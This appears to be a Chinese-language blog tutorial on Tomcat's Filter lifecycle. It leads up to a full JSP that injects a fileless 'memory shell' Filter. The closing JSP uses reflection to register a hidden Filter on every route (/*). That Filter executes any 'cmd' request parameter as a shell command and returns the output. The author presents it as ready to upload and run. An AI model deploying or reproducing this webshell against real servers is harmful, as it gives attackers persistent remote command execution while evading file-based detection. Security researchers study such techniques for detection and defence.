0x00 前言
Filter内存马构造的难度不大,重点是要知道为什么要这么构造——这并非易事。
0x01 Filter流程分析
分析Filter的流程是非常有必要的,因为只有分析清楚Filter的创建和调用流程,我们才能模仿有关步骤,成功把Filter型内存马送入内存并发挥作用。
但我不喜欢冗长地分析每一行代码,故只分析关键的代码。
demo
调试之前要先写一个简单的Filter:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package com.horses1;
import jakarta.servlet.*; import jakarta.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter(filterName = "filter1", value = "/filter1") public class Filter1 implements Filter {
@Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("执行了过滤操作"); filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() { System.out.println("Filter 已被销毁"); } }
|
我使用了注解,就不需要配置web.xml。可以通过index.jsp跳转到/filter1路由来访问该Filter。
创建Filter
断点打在StandardContext类的startInternal方法里的filterStart方法,顾名思义,Filter在这里开始创建。
关注该方法的这两行代码:

代码处于for循环之中,在每个循环中,会创建对应每一个Filter的ApplicationFilterConfig,并put到filterConfigs表中。完成这两步,就意味着Filter创建完毕。
所以不难想到,我们如果想注入内存马,最后肯定要执行这两步。但是要保证这两步正常执行,就需要跟进查看代码逻辑。
先跟进第一行代码:

两个参数,Context是StandardContext,FilterDef需要自行构造,其是一种对Filter的封装。给出构造FilterDef的伪代码:
1 2 3 4 5
| FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef);
|
接着走到initFilter方法,跟进:

filter.init方法即是我们自己写的Filter类的init方法。
回到上面说的第二行代码,name是我们给Filter起的名字,filterConfig就是刚刚构造完成的ApplicationFilterConfig实例。
这里需要知道filterConfigs是什么:

filterConfigs本质上是一个HashMap,存放FilterDef的name及对应的ApplicationFilterConfig。
所以,我们想要完成这两行代码,需要有如下几步:
- 编写恶意Filter
- 构造恶意Filter对应的的FilterDef
- 获得ApplicationFilterConfig类,键是StandardContext,值是恶意的FilterDef
- 将恶意的ApplicationFilterConfig类放入FilterConfigs表
但是这个步骤是不全的,因为我们没有动态地设置路由,这点正是内存马的关键。换句话说,按照这几步,我可以把Filter型内存马插入内存中,但是该通过什么方式/路由访问内存马呢?
在内存马创建的过程中并没有Filter及对应路由映射的代码逻辑,那么或许可以从访问Filter的流程中找到相关逻辑。除此之外,为了保证内存马能正常执行且不会破坏服务,我们仍然得关注访问Filter有关的代码逻辑。
访问Filter
断点打在Filter1类的doFilter方法,当访问到/filter1路由时会调用到该方法。关注下图的调用栈:

不难想到,访问Filter的逻辑实际上在StandardWrapperValue的invoke方法开始。关注该方法我打断点的两行代码:

构建ApplicationFilterChain
第一行获得ApplicationFilterChain,个人理解为Filter链,包含了一系列需要调用的Filter。跟进,看到这里出现了记录Filter及对应路由映射的对象:filterMaps。

往下走到这里:

遍历filterMaps得到Filter与URL的映射关系并通过matchDispatcher()、matchFilterURL()方法进行匹配。匹配成功后,还需判断filterConfigs中存在对应Filter,如果存在则调用addFilter方法,将管理filter实例的filterConfig添加到ApplicationFilterChain里。
doFilter
第二行调用ApplicationFilterChain的doFilter方法,正如上文调用栈框起来的三行调用,就是一个循环。跟进:

走不到if分支里,直接调用internalDoFilter方法:

按照先后顺序,对每个Filter调用其doFilter方法。这里除了序号0的Filter1,还有序号1的系统的WsFilter。
就算是自己写的Filter,也要实现doFilter方法:

这样又回到了ApplicationFilterChain的doFilter方法,一次循环结束,刚好三张图。有几个Filter就有几次循环。
当WsFilter的doFilter方法执行完后,internalDoFilter方法判断Filter都执行完了,执行如下逻辑:

这也宣告Filter链的执行结束。
0x02 构造内存马
就直接在jsp里构造吧,但是思路不要局限在jsp。jsp本质上也是执行Java代码,能执行Java代码的地方还有静态代码块,所以Java反序列化也能注入内存马。
实现,我们要明确需要执行几个步骤:
- 写一个恶意的Filter型内存马
- 构造恶意Filter对应的的FilterDef
- 获得ApplicationFilterConfig类,键是StandardContext,值是恶意的FilterDef
- 将恶意的ApplicationFilterConfig类放入FilterConfigs表
- 动态配置访问内存马的路由
下面给出对应的jsp文件,步骤顺序稍作修改,但是逻辑一致:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.lang.reflect.Constructor" %><% ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs"); filterConfigsField.setAccessible(true); Map filterConfigs = (Map) filterConfigsField.get(standardContext);
String name = "Pax"; if (filterConfigs.get(name) == null) { Filter filter = new Filter() {
@Override public void init(FilterConfig filterConfig) throws ServletException { Filter.super.init(filterConfig); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) servletRequest; HttpServletResponse resp = (HttpServletResponse) servletResponse; if (req.getParameter("cmd") != null) { boolean isLinux = true; String osTyp = System.getProperty("os.name"); if (osTyp != null && osTyp.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")}; InputStream in = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\A"); String output = s.hasNext() ? s.next() : ""; resp.getWriter().write(output); resp.getWriter().flush(); } filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() { Filter.super.destroy(); } };
FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filterDef.getClass().getName()); standardContext.addFilterDef(filterDef);
Constructor<ApplicationFilterConfig> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig applicationFilterConfig = constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, applicationFilterConfig);
FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap);
out.print("Inject Success!"); } %>
|
在具体应用中,上传jsp文件并访问即可。由于配置的路由是/*,所以接下来任何路由都会触发内存马。
0x03 小结
排查内存马的方法就不说了,参考:Java内存马系列-03-Tomcat 之 Filter 型内存马 | Drunkbaby’s Blog